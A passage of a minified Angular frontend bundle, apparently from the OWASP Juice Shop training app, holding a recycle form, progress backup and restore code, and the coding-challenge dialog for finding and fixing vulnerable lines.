0,this.recycleQuantityControl.setValue(""),this.recycleQuantityControl.markAsPristine(),this.recycleQuantityControl.markAsUntouched(),this.pickUpDateControl.setValue(""),this.pickUpDateControl.markAsPristine(),this.pickUpDateControl.markAsUntouched(),this.pickup.setValue(!1)}getMessage(e){this.addressId=e}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ie),t.Y36(R),t.Y36(b.e),t.Y36(rt),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-recycle"]],viewQuery:function(e,o){if(1&e&&t.Gf(di,7),2&e){let i;t.iGM(i=t.CRH())&&(o.addressComponent=i.first)}},decls:41,vars:16,consts:[["fxLayout","row","fxLayoutGap","5%","fxLayout.lt-md","column","fxLayoutGap.lt-md","20px",1,"mat-elevation-z6","mat-own-card"],["fxLayout","column","fxLayoutGap","20px","fxFlex","50%"],["translate",""],["id","recycle-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","",3,"formControl"],["type","number","matInput","",3,"formControl","placeholder"],["translate","",4,"ngIf"],["translate","",3,"translateParams",4,"ngIf"],[1,"mat-elevation-z0",3,"addNewAddressDiv","emitSelection"],["addressComp",""],["appearance","outline",4,"ngIf"],[3,"formControl",4,"ngIf"],["type","submit","id","recycleButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"fas","fa-paper-plane","fa-lg"],["fxFlex","50%"],["fxLayout","column","fxLayoutGap","20px","fxLayoutAlign","center"],["translate","",1,"responsibility-header"],["fxLayout","row","fxLayoutGap","20px",1,"mat-elevation-z0"],["mat-card-image","",3,"src"],[1,"fill-remaining-space"],["translate","",3,"translateParams"],["appearance","outline"],["matInput","",3,"formControl","matDatepicker"],["matSuffix","",3,"for"],["picker",""],[3,"formControl"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"h1",2),t._uU(3,"TITLE_RECYCLE"),t.qZA(),t.TgZ(4,"div",3)(5,"mat-form-field",4)(6,"mat-label",2),t._uU(7,"LABEL_REQUESTOR"),t.qZA(),t._UZ(8,"input",5),t.qZA(),t.TgZ(9,"mat-form-field",4)(10,"mat-label",2),t._uU(11,"LABEL_QUANTITY"),t.qZA(),t._UZ(12,"input",6),t.ALo(13,"translate"),t.YNc(14,mi,2,0,"mat-error",7),t.YNc(15,hi,2,2,"mat-error",8),t.qZA(),t.TgZ(16,"app-address",9,10),t.NdJ("emitSelection",function(r){return o.getMessage(r)}),t.qZA(),t.YNc(18,fi,8,4,"mat-form-field",11),t.YNc(19,Ci,3,4,"mat-checkbox",12),t.qZA(),t.TgZ(20,"button",13),t.NdJ("click",function(){return o.save()}),t._UZ(21,"i",14),t._uU(22),t.ALo(23,"translate"),t.qZA()(),t.TgZ(24,"div",15)(25,"div",16)(26,"h3",17),t._uU(27,"SECTION_PRESS_JUICE_RESPONSIBLY"),t.qZA(),t.TgZ(28,"mat-card",18),t._UZ(29,"img",19),t.TgZ(30,"mat-card-content")(31,"div")(32,"small"),t._uU(33,"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. "),t.qZA()()()(),t.TgZ(34,"mat-card",18),t._UZ(35,"img",19),t.TgZ(36,"mat-card-content")(37,"div")(38,"small"),t._uU(39,"Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. "),t.qZA()()()(),t._UZ(40,"span",20),t.qZA()()()),2&e&&(t.xp6(8),t.Q6J("formControl",o.requestorControl),t.xp6(4),t.Q6J("formControl",o.recycleQuantityControl)("placeholder",t.lcZ(13,12,"IN_LITERS_PLACEHOLDER")),t.xp6(2),t.Q6J("ngIf",o.recycleQuantityControl.invalid&&o.recycleQuantityControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.recycleQuantityControl.invalid&&(o.recycleQuantityControl.errors.min||o.recycleQuantityControl.errors.max)),t.xp6(1),t.Q6J("addNewAddressDiv",!1),t.xp6(2),t.Q6J("ngIf",o.pickup.value&&o.recycleQuantityControl.value>100),t.xp6(1),t.Q6J("ngIf",o.recycleQuantityControl.value>100),t.xp6(1),t.Q6J("disabled",void 0===o.addressId||o.recycleQuantityControl.invalid||o.pickUpDateControl.invalid),t.xp6(2),t.hij(" ",t.lcZ(23,14,"BTN_SUBMIT")," "),t.xp6(7),t.Q6J("src",o.topImage,t.LSH),t.xp6(6),t.Q6J("src",o.bottomImage,t.LSH))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.Wh,p.yH,s.Fj,s.wV,s.JJ,s.oH,f.TO,f.KE,f.hX,f.R9,x.lW,T.a8,T.dn,T.G2,B.Nt,Xt.oG,Et.Mq,Et.hl,Et.nW,ee,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{margin-left:20%;margin-top:5px;width:60%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:10%;margin-right:10%}mat-card[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{height:100px;width:auto}mat-checkbox[_ngcontent-%COMP%]{margin-bottom:20px}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}"]}),n})(),ot=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Challenges"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}repeatNotification(e){return this.http.get(this.hostServer+"/rest/repeat-notification",{params:{challenge:e},responseType:"text"}).pipe((0,_.K)(o=>{throw o}))}continueCode(){return this.http.get(this.hostServer+"/rest/continue-code").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}continueCodeFindIt(){return this.http.get(this.hostServer+"/rest/continue-code-findIt").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}continueCodeFixIt(){return this.http.get(this.hostServer+"/rest/continue-code-fixIt").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}restoreProgress(e){return this.http.put(this.hostServer+"/rest/continue-code/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}restoreProgressFindIt(e){return this.http.put(this.hostServer+"/rest/continue-code-findIt/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}restoreProgressFixIt(e){return this.http.put(this.hostServer+"/rest/continue-code-fixIt/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Ue=c(9441),xi=c(5254),bt=c(1086);let Le=(()=>{class n{constructor(e,o,i,r){this.cookieService=e,this.challengeService=o,this.snackBarHelperService=i,this.snackBar=r,this.VERSION=1}save(e="owasp_juice_shop"){const o={version:this.VERSION};o.scoreBoard={scoreBoardVersion:localStorage.getItem("score-board-version")?JSON.parse(String(localStorage.getItem("score-board-version"))):void 0,displayedDifficulties:localStorage.getItem("displayedDifficulties")?JSON.parse(String(localStorage.getItem("displayedDifficulties"))):void 0,showSolvedChallenges:localStorage.getItem("showSolvedChallenges")?JSON.parse(String(localStorage.getItem("showSolvedChallenges"))):void 0,showDisabledChallenges:localStorage.getItem("showDisabledChallenges")?JSON.parse(String(localStorage.getItem("showDisabledChallenges"))):void 0,showOnlyTutorialChallenges:localStorage.getItem("showOnlyTutorialChallenges")?JSON.parse(String(localStorage.getItem("showOnlyTutorialChallenges"))):void 0,displayedChallengeCategories:localStorage.getItem("displayedChallengeCategories")?JSON.parse(String(localStorage.getItem("displayedChallengeCategories"))):void 0},o.banners={welcomeBannerStatus:this.cookieService.get("welcomebanner_status")?this.cookieService.get("welcomebanner_status"):void 0,cookieConsentStatus:this.cookieService.get("cookieconsent_status")?this.cookieService.get("cookieconsent_status"):void 0},o.language=this.cookieService.get("language")?this.cookieService.get("language"):void 0;const i=this.challengeService.continueCode(),r=this.challengeService.continueCodeFindIt(),l=this.challengeService.continueCodeFixIt();(0,Nt.D)([i,r,l]).subscribe(([m,v,A])=>{o.continueCode=m,o.continueCodeFindIt=v,o.continueCodeFixIt=A;const q=new Blob([JSON.stringify(o)],{type:"text/plain;charset=utf-8"});(0,Ue.saveAs)(q,`${e}-${(new Date).toISOString().split("T")[0]}.json`)},()=>{console.log("Failed to retrieve continue code(s) for backup from server. Using cookie values as fallback."),o.continueCode=this.cookieService.get("continueCode")?this.cookieService.get("continueCode"):void 0,o.continueCodeFindIt=this.cookieService.get("continueCodeFindIt")?this.cookieService.get("continueCodeFindIt"):void 0,o.continueCodeFixIt=this.cookieService.get("continueCodeFixIt")?this.cookieService.get("continueCodeFixIt"):void 0;const m=new Blob([JSON.stringify(o)],{type:"text/plain;charset=utf-8"});(0,Ue.saveAs)(m,`${e}-${(new Date).toISOString().split("T")[0]}.json`)})}restore(e){return(0,xi.D)(e.text().then(o=>{const i=JSON.parse(o);i.version===this.VERSION?(this.restoreLocalStorage("score-board-version",i.scoreBoard?.scoreBoardVersion),this.restoreLocalStorage("displayedDifficulties",i.scoreBoard?.displayedDifficulties),this.restoreLocalStorage("showSolvedChallenges",i.scoreBoard?.showSolvedChallenges),this.restoreLocalStorage("showDisabledChallenges",i.scoreBoard?.showDisabledChallenges),this.restoreLocalStorage("showOnlyTutorialChallenges",i.scoreBoard?.showOnlyTutorialChallenges),this.restoreLocalStorage("displayedChallengeCategories",i.scoreBoard?.displayedChallengeCategories),this.restoreCookie("welcomebanner_status",i.banners?.welcomeBannerStatus),this.restoreCookie("cookieconsent_status",i.banners?.cookieConsentStatus),this.restoreCookie("language",i.language),this.restoreCookie("continueCodeFindIt",i.continueCodeFindIt),this.restoreCookie("continueCodeFixIt",i.continueCodeFixIt),this.restoreCookie("continueCode",i.continueCode),this.snackBar.open("Backup has been restored from "+e.name,"Apply changes now",{duration:1e4}).onAction().subscribe(()=>{const l=i.continueCode?this.challengeService.restoreProgress(encodeURIComponent(i.continueCode)):(0,bt.of)(!0),m=i.continueCodeFindIt?this.challengeService.restoreProgressFindIt(encodeURIComponent(i.continueCodeFindIt)):(0,bt.of)(!0),v=i.continueCodeFixIt?this.challengeService.restoreProgressFixIt(encodeURIComponent(i.continueCodeFixIt)):(0,bt.of)(!0);(0,Nt.D)([l,m,v]).subscribe(()=>{location.reload()},A=>{console.log(A)})})):this.snackBarHelperService.open(`Version ${i.version} is incompatible with expected version ${this.VERSION}`,"errorBar")}).catch(o=>{this.snackBarHelperService.open(`Backup restore operation failed: ${o.message}`,"errorBar")}))}restoreCookie(e,o){if(o){const i=new Date;i.setFullYear(i.getFullYear()+1),this.cookieService.put(e,o,{expires:i})}else this.cookieService.remove(e)}restoreLocalStorage(e,o){o?localStorage.setItem(e,JSON.stringify(o)):localStorage.removeItem(e)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(I.N_),t.LFG(ot),t.LFG(J.H),t.LFG(ut.ux))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),ne=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets"}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}challenges(){return this.http.get(`${this.host}`).pipe((0,C.U)(e=>e.challenges),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),bi=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets/fixes"}get(e){return this.http.get(this.host+`/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}check(e,o){return this.http.post(this.host,{key:e,selectedFix:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ti=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets/verdict"}check(e,o){return this.http.post(this.host,{key:e,selectedLines:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Mt=c(3848),oe=c(8225);function Ai(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",5),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.selectLines(r.lineNumber))}),t._uU(1),t.qZA()}if(2&n){const e=a.$implicit;t.Q6J("id","line"+e.lineNumber),t.xp6(1),t.Oqu(e.marked?"\\u2705":"\\u{1f532}")}}let yi=(()=>{class n{constructor(){this.code="",this.addLine=new t.vpe,this.langs=["javascript","typescript","json","yaml"]}ngOnInit(){this.lineMarkers=this.code.split("\\n").map((e,o)=>({lineNumber:o+1,marked:!1}))}selectLines(e){const o=this.lineMarkers[e-1];o.marked=!o.marked;const i=[];for(const{marked:r,lineNumber:l}of this.lineMarkers)r&&i.push(l);this.addLine.emit(i)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-code-area"]],inputs:{code:"code",vulnLines:"vulnLines"},outputs:{addLine:"addLine"},decls:6,vars:4,consts:[["id","code-area"],["id","code"],["id","emphasize"],["class","lineMarker",3,"id","click",4,"ngFor","ngForOf"],[3,"highlight","lineNumbers","languages"],[1,"lineMarker",3,"id","click"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"pre",1)(2,"div",2),t.YNc(3,Ai,2,2,"div",3),t._uU(4,"\\n "),t.qZA(),t._UZ(5,"code",4),t.qZA()()),2&e&&(t.xp6(3),t.Q6J("ngForOf",o.lineMarkers),t.xp6(2),t.Q6J("highlight",o.code)("lineNumbers",!0)("languages",o.langs))},dependencies:[h.sg,oe.y$],styles:["pre[_ngcontent-%COMP%] code.hljs[_ngcontent-%COMP%]{display:block;overflow-x:auto;padding:1em}code.hljs[_ngcontent-%COMP%]{padding:3px 5px}.hljs[_ngcontent-%COMP%]{background:white;color:#000}.hljs-comment[_ngcontent-%COMP%], .hljs-quote[_ngcontent-%COMP%], .hljs-variable[_ngcontent-%COMP%]{color:green}.hljs-keyword[_ngcontent-%COMP%], .hljs-selector-tag[_ngcontent-%COMP%], .hljs-built_in[_ngcontent-%COMP%], .hljs-name[_ngcontent-%COMP%], .hljs-tag[_ngcontent-%COMP%]{color:#00f}.hljs-string[_ngcontent-%COMP%], .hljs-title[_ngcontent-%COMP%], .hljs-section[_ngcontent-%COMP%], .hljs-attribute[_ngcontent-%COMP%], .hljs-literal[_ngcontent-%COMP%], .hljs-template-tag[_ngcontent-%COMP%], .hljs-template-variable[_ngcontent-%COMP%], .hljs-type[_ngcontent-%COMP%], .hljs-addition[_ngcontent-%COMP%]{color:#a31515}.hljs-deletion[_ngcontent-%COMP%], .hljs-selector-attr[_ngcontent-%COMP%], .hljs-selector-pseudo[_ngcontent-%COMP%], .hljs-meta[_ngcontent-%COMP%]{color:#2b91af}.hljs-doctag[_ngcontent-%COMP%]{color:gray}.hljs-attr[_ngcontent-%COMP%]{color:red}.hljs-symbol[_ngcontent-%COMP%], .hljs-bullet[_ngcontent-%COMP%], .hljs-link[_ngcontent-%COMP%]{color:#00b0e8}.hljs-emphasis[_ngcontent-%COMP%]{font-style:italic}.hljs-strong[_ngcontent-%COMP%]{font-weight:700}#emphasize[_ngcontent-%COMP%]{float:left;padding:1em .5em}#code[_ngcontent-%COMP%]{width:63em}.lineMarker[_ngcontent-%COMP%]{cursor:pointer}"]}),n})();var Pe=c(5244);const Zi=["codeComponent"];function wi(n,a){if(1&n&&(t.TgZ(0,"div"),t._UZ(1,"td-ngx-text-diff",4,5),t.qZA()),2&n){const e=t.oxw().$implicit,o=t.oxw();t.xp6(1),t.Q6J("left",o.snippet)("right",null==e?null:e.fix)("format",o.format)}}function Si(n,a){if(1&n&&(t.TgZ(0,"div",2),t.YNc(1,wi,3,3,"div",3),t.qZA()),2&n){const e=a.index,o=t.oxw();t.xp6(1),t.Q6J("ngIf",o.selectedFix===e)}}let ki=(()=>{class n{constructor(e,o){this.cookieService=e,this.differs=o,this.snippet="",this.fixes=[],this.selectedFix=0,this.randomFixes=[],this.format="SideBySide",this.cookieService=e,this.differ=this.differs.find({}).create()}ngOnInit(){this.cookieService.hasKey("code-fixes-component-format")?this.format=this.cookieService.get("code-fixes-component-format"):(this.format="LineByLine",this.cookieService.put("code-fixes-component-format","LineByLine"))}ngDoCheck(){try{const e=this.differ.diff({"diff-format":this.codeComponent.format});e&&e.forEachChangedItem(o=>{this.format=o.currentValue,this.cookieService.put("code-fixes-component-format",this.format)})}catch{}}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(I.N_),t.Y36(t.aQg))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-code-fixes"]],viewQuery:function(e,o){if(1&e&&t.Gf(Zi,5),2&e){let i;t.iGM(i=t.CRH())&&(o.codeComponent=i.first)}},inputs:{snippet:"snippet",fixes:"fixes",selectedFix:"selectedFix",randomFixes:"randomFixes",format:"format"},decls:2,vars:1,consts:[[1,"wrapper"],["id","code",4,"ngFor","ngForOf"],["id","code"],[4,"ngIf"],[3,"left","right","format"],["codeComponent",""]],template:function(e,o){1&e&&(t.TgZ(0,"section",0),t.YNc(1,Si,2,1,"div",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("ngForOf",o.randomFixes))},dependencies:[h.sg,h.O5,Pe.zB],styles:["#code[_ngcontent-%COMP%]{width:63em}.wrapper[_ngcontent-%COMP%]{padding-top:16px}"]}),n})();function Ii(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"app-code-area",22),t.NdJ("addLine",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.addLine(i))}),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("code",null==e.snippet?null:e.snippet.snippet)("vulnLines",null==e.snippet?null:e.snippet.vulnLines)}}function Oi(n,a){1&n&&(t.TgZ(0,"pre"),t._uU(1," "),t.TgZ(2,"code",23),t._uU(3,"LOADING_CODE_SNIPPET"),t.qZA(),t._uU(4,"\\n "),t.qZA())}function Ui(n,a){if(1&n&&(t._uU(0),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",24),t._uU(3),t.qZA()),2&n){const e=t.oxw();t.hij(" ",t.lcZ(1,3,"TAB_FIX_IT")," "),t.xp6(2),t.Q6J("color",e.lockColor()),t.xp6(1),t.Oqu(e.lockIcon())}}function Li(n,a){if(1&n&&t._UZ(0,"app-code-fixes",25),2&n){const e=t.oxw();t.Q6J("snippet",null==e.snippet?null:e.snippet.snippet)("fixes",e.fixes)("randomFixes",e.randomFixes)("selectedFix",e.selectedFix)}}function Pi(n,a){if(1&n&&(t.TgZ(0,"mat-card",26),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",e.hint," ")}}function Ni(n,a){if(1&n&&(t.TgZ(0,"mat-card"),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.Tol("warn"===e.resultColor()?"warn-notification":"accent-notification"),t.xp6(1),t.hij(" ",e.explanation," ")}}function Ei(n,a){if(1&n&&(t.TgZ(0,"option",30),t._uU(1),t.qZA()),2&n){const e=a.index,o=t.oxw(2);t.Q6J("value",e)("selected",o.selectedFix===e),t.xp6(1),t.hij("Fix ",e+1,"")}}function Mi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-form-field",27)(1,"mat-label",23),t._uU(2,"LABEL_CORRECT_FIX"),t.qZA(),t.TgZ(3,"select",28),t.NdJ("change",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.changeFix(i))}),t.YNc(4,Ei,2,3,"option",29),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.Q6J("ngForOf",e.randomFixes)}}function Di(n,a){if(1&n&&(t.TgZ(0,"a",31)(1,"button",32)(2,"mat-icon",33),t._uU(3,"thumb_up"),t.qZA()()()),2&n){const e=t.oxw();t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.dialogData.name+"&entry.435235279=Coding+Challenge&entry.1734944650=Yes",t.LSH)}}function qi(n,a){if(1&n&&(t.TgZ(0,"a",31)(1,"button",32)(2,"mat-icon",34),t._uU(3,"thumb_down"),t.qZA()()()),2&n){const e=t.oxw();t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.dialogData.name+"&entry.435235279=Coding+Challenge&entry.1734944650=No",t.LSH)}}function Fi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",35),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.checkLines())}),t.TgZ(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"mat-icon",36),t._uU(5),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",e.solved.findIt),t.xp6(2),t.hij(" ",t.lcZ(3,4,"BTN_SUBMIT"),""),t.xp6(2),t.Q6J("color",e.resultColor()),t.xp6(1),t.hij(" ",e.resultIcon()," ")}}function Bi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.checkFix())}),t.TgZ(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"mat-icon",36),t._uU(5),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",e.solved.fixIt),t.xp6(2),t.hij(" ",t.lcZ(3,4,"BTN_SUBMIT"),""),t.xp6(2),t.Q6J("color",e.resultColor()),t.xp6(1),t.hij(" ",e.resultIcon()," ")}}const Ri=function(n){return{"btns-findit":n}};var H=(()=>{return(n=H||(H={}))[n.Undecided=0]="Undecided",n[n.Right=1]="Right",n[n.Wrong=2]="Wrong",H;var n})();let Ne=(()=>{class n{constructor(e,o,i,r,l,m,v){this.dialogData=e,this.configurationService=o,this.codeSnippetService=i,this.vulnLinesService=r,this.codeFixesService=l,this.challengeService=m,this.cookieService=v,this.snippet=null,this.fixes=null,this.selectedFix=0,this.tab=new s.p4(0),this.lock=H.Undecided,this.result=H.Undecided,this.hint=null,this.explanation=null,this.solved={findIt:!1,fixIt:!1},this.showFeedbackButtons=!0,this.randomFixes=[],this.addLine=A=>{this.selectedLines=A},this.setFix=A=>{this.selectedFix=A,this.explanation=null},this.toggleTab=A=>{this.tab.setValue(A),this.result=H.Undecided,0===A&&this.solved.findIt&&(this.result=H.Right),1===A&&this.solved.fixIt&&(this.result=H.Right)},this.checkFix=()=>{this.codeFixesService.check(this.dialogData.key,this.randomFixes[this.selectedFix].index).subscribe(A=>{this.setVerdict(A.verdict),this.explanation=A.explanation})},this.checkLines=()=>{this.vulnLinesService.check(this.dialogData.key,this.selectedLines).subscribe(A=>{this.setVerdict(A.verdict),this.hint=A.hint})},this.setVerdict=A=>{this.result!==H.Right&&(A?(0===this.tab.value?(this.solved.findIt=!0,this.challengeService.continueCodeFindIt().subscribe(q=>{if(!q)throw new Error("Received invalid continue code from the server!");const Y=new Date;Y.setFullYear(Y.getFullYear()+1),this.cookieService.put("continueCodeFindIt",q,{expires:Y})},q=>{console.log(q)})):(this.solved.fixIt=!0,this.challengeService.continueCodeFixIt().subscribe(q=>{if(!q)throw new Error("Received invalid continue code from the server!");const Y=new Date;Y.setFullYear(Y.getFullYear()+1),this.cookieService.put("continueCodeFixIt",q,{expires:Y})},q=>{console.log(q)})),this.result=H.Right,this.lock=H.Right,c.e(103).then(c.bind(c,8103)).then(q=>{q.shootConfetti()}).then(()=>{0===this.tab.value&&null!==this.fixes&&this.toggleTab(1)})):this.result=H.Wrong)}}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{this.showFeedbackButtons=e.challenges.showFeedbackButtons},e=>{console.log(e)}),this.codeSnippetService.get(this.dialogData.key).subscribe(e=>{this.snippet=e,this.solved.findIt=!1,this.dialogData.codingChallengeStatus>=1&&(this.result=H.Right,this.lock=H.Right,this.solved.findIt=!0)},e=>{this.snippet={snippet:e.error}}),this.codeFixesService.get(this.dialogData.key).subscribe(e=>{this.fixes=e.fixes,this.fixes&&this.shuffle(),this.solved.fixIt=this.dialogData.codingChallengeStatus>=2},()=>{this.fixes=null})}changeFix(e){this.setFix(parseInt(e.target.value,10))}lockIcon(){if(null===this.fixes)return"lock";switch(this.lock){case H.Right:return"lock_open";case H.Wrong:case H.Undecided:return"lock"}}lockColor(){switch(this.lockIcon()){case"lock_open":return"accent";case"lock":return"warn"}}shuffle(){this.randomFixes=this.fixes.map((e,o)=>({fix:e,index:o,sort:Math.random()})).sort((e,o)=>e.sort-o.sort).map(({fix:e,index:o})=>({fix:e,index:o}))}resultIcon(){switch(this.result){case H.Right:return"check";case H.Wrong:return"clear";default:return"send"}}resultColor(){switch(this.resultIcon()){case"check":return"accent";case"clear":return"warn"}}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(b.e),t.Y36(ne),t.Y36(Ti),t.Y36(bi),t.Y36(ot),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["code-snippet"]],hostAttrs:[1,"code-snippet"],decls:32,vars:26,consts:[["mat-dialog-title",""],["id","code-snippet",1,"mat-typography"],["mat-stretch-tabs","",3,"selectedIndex","selectedIndexChange"],[3,"label"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],[3,"code","vulnLines","addLine",4,"ngIf"],[4,"ngIf"],[3,"disabled"],["mat-tab-label",""],["fxLayout","column"],[3,"snippet","fixes","randomFixes","selectedFix",4,"ngIf"],[1,"dialog-action"],["class","primary-notification",4,"ngIf"],[3,"class",4,"ngIf"],[1,"btns",3,"ngClass"],["class","fix","appearance","fill",4,"ngIf"],["target","_blank",3,"href",4,"ngIf"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog","id","findItCloseButton",1,"close-dialog","buttons",3,"mat-dialog-close"],[1,"material-icons"],["mat-stroked-button","","id","findItSubmitButton",3,"disabled","click",4,"ngIf"],["mat-stroked-button","","id","fixItSubmitButton",3,"disabled","click",4,"ngIf"],[3,"code","vulnLines","addLine"],["translate",""],[1,"materaial-icons-outlined",3,"color"],[3,"snippet","fixes","randomFixes","selectedFix"],[1,"primary-notification"],["appearance","fill",1,"fix"],["matNativeControl","",3,"change"],[3,"value","selected",4,"ngFor","ngForOf"],[3,"value","selected"],["target","_blank",3,"href"],["mat-icon-button",""],["color","accent"],["color","warn"],["mat-stroked-button","","id","findItSubmitButton",3,"disabled","click"],[3,"color"],["mat-stroked-button","","id","fixItSubmitButton",3,"disabled","click"]],template:function(e,o){1&e&&(t.TgZ(0,"h2",0),t._uU(1),t.ALo(2,"translate"),t.qZA(),t.TgZ(3,"mat-dialog-content",1)(4,"mat-tab-group",2),t.NdJ("selectedIndexChange",function(r){return o.toggleTab(r)}),t.TgZ(5,"mat-tab",3),t.ALo(6,"translate"),t.TgZ(7,"div",4)(8,"div",5),t.YNc(9,Ii,1,2,"app-code-area",6),t.YNc(10,Oi,5,0,"pre",7),t.qZA()()(),t.TgZ(11,"mat-tab",8),t.YNc(12,Ui,4,5,"ng-template",9),t.TgZ(13,"div",10)(14,"div",5),t.YNc(15,Li,1,4,"app-code-fixes",11),t.qZA()()()()(),t.TgZ(16,"mat-dialog-actions",12)(17,"div"),t.YNc(18,Pi,2,1,"mat-card",13),t.YNc(19,Ni,2,3,"mat-card",14),t.TgZ(20,"div",15),t.YNc(21,Mi,5,1,"mat-form-field",16),t.YNc(22,Di,4,1,"a",17),t.YNc(23,qi,4,1,"a",17),t.TgZ(24,"button",18)(25,"i",19),t._uU(26," close "),t.qZA(),t.TgZ(27,"span"),t._uU(28),t.ALo(29,"translate"),t.qZA()(),t.YNc(30,Fi,6,6,"button",20),t.YNc(31,Bi,6,6,"button",21),t.qZA()()()),2&e&&(t.xp6(1),t.AsE("",t.lcZ(2,18,"TITLE_CODING_CHALLENGE"),": 